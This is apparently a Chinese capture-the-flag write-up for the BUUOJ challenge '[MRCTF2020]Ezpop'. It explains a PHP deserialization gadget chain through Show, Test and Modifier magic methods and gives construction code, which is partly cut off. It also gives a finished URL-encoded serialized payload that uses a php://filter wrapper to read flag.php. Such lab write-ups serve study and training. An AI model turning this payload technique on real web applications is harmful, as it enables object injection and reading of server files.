https://buuoj.cn/challenges#[MRCTF2020]Ezpop
Show类
看到有__toString方法，类被当成字符串时的回应方法
__wakeup方法，unserialize反序列化时优先调用
看Test类
__get()方法，访问不存在的属性或是受限的属性时调用
pop链构造
- __wakeup()方法通过preg_match()将$this->source做字符串比较，如果$this->source是Show类，就调用了__toString()方法
- __toString()访问了str的source属性，str可以构造成Test类，Test类不存在source属性，就调用了Test类的__get()方法
- __get()方法将p作为函数使用，p可以实例化成Modifier类，就调用了Modifier的__invoke()方法
- __invoke()方法调用了append()方法，包含$value，如果$value为伪协议，则可以读取flag.php
构造
source = $file;
}
}
class Test{
public $p;
}
$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
输出结果?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D